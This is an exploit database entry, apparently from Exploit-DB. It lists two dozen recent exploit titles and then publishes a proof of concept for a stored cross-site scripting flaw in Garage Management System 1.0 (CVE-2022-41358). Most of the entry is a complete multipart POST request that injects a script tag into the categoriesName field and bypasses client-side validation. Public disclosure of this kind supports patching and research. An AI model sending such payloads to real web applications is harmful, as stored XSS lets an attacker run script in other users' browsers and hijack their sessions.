
24 changes to exploits/shellcodes/ghdb ASUS ASMB8 iKVM 1.14.51 - Remote Code Execution (RCE) Ruckus IoT Controller 1.7.1.0 - Undocumented Backdoor Account Dell EMC iDRAC7/iDRAC8 2.52.52.52 - Remote Code Execution (RCE) FLIR AX8 1.46.16 - Remote Command Injection ABB Cylon Aspect 3.08.02 - Cross-Site Request Forgery (CSRF) Ethercreative Logs 3.0.3 - Path Traversal Garage Management System 1.0 (categoriesName) - Stored XSS Nagios Log Server 2024R1.3.1 - Stored XSS ProConf 6.0 - Insecure Direct Object Reference (IDOR) Teedy 1.11 - Account Takeover via Stored Cross-Site Scripting (XSS) WooCommerce Customers Manager 29.4 - Post-Authenticated SQL Injection ABB Cylon Aspect 3.08.03 (webServerDeviceLabelUpdate.php) - File Write DoS ABB Cylon Aspect 4.00.00 (factorySaved.php) - Unauthenticated XSS ABB Cylon Aspect 4.00.00 (factorySetSerialNum.php) - Remote Code Execution Car Rental Project 1.0 - Remote Code Execution KodExplorer 4.52 - Open Redirect NagVis 1.9.33 - Arbitrary File Read phpMyFAQ 3.1.7 - Reflected Cross-Site Scripting (XSS) phpMyFAQ 3.2.10 - Unintended File Download Triggered by Embedded Frames Smart Manager 8.27.0 - Post-Authenticated SQL Injection Zabbix 7.0.0 - SQL Injection Hugging Face Transformers MobileViTV2 4.41.1 - Remote Code Execution (RCE) Fortinet FortiOS_ FortiProxy_ and FortiSwitchManager 7.2.0 - Authentication bypass WebMethods Integration Server 10.15.0.0000-0092 - Improper Access on Login Page
37 lines
No EOL
1.6 KiB
Text
37 lines
No EOL
1.6 KiB
Text
# Exploit Title: Garage Management System 1.0 (categoriesName) - Stored XSS
|
|
# Date: 18-09-2022
|
|
# Exploit Author: Sam Wallace, SC
|
|
# Software Link: https://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html
|
|
# Version: 1.0
|
|
# Tested on: Debian
|
|
# CVE : CVE-2022-41358
|
|
|
|
Summary:
|
|
Garage Management System utilizes client side validation to prevent XSS.
|
|
Using burp, a request can be modified and replayed to the server bypassing this validation which creates an avenue for XSS.
|
|
Parameter: categoriesName
|
|
URI: /garage/php_action/createCategories.php
|
|
POC:
|
|
POST /garage/php_action/createCategories.php HTTP/1.1
|
|
Host: 10.24.0.69
|
|
Content-Length: 367
|
|
Cache-Control: max-age=0
|
|
Upgrade-Insecure-Requests: 1
|
|
Origin: http://10.24.0.69
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqKDsN4gmatTEEkhS
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
Referer: http://10.24.0.69/garage/add-category.php
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-US,en;q=0.9
|
|
Cookie: PHPSESSID=gbklvcv3vvv987636urv0gg53u
|
|
Connection: close
|
|
------WebKitFormBoundaryqKDsN4gmatTEEkhS
|
|
Content-Disposition: form-data; name="categoriesName"
|
|
<script>alert(1)</script>
|
|
------WebKitFormBoundaryqKDsN4gmatTEEkhS
|
|
Content-Disposition: form-data; name="categoriesStatus"
|
|
1
|
|
------WebKitFormBoundaryqKDsN4gmatTEEkhS
|
|
Content-Disposition: form-data; name="create"
|
|
------WebKitFormBoundaryqKDsN4gmatTEEkhS-- |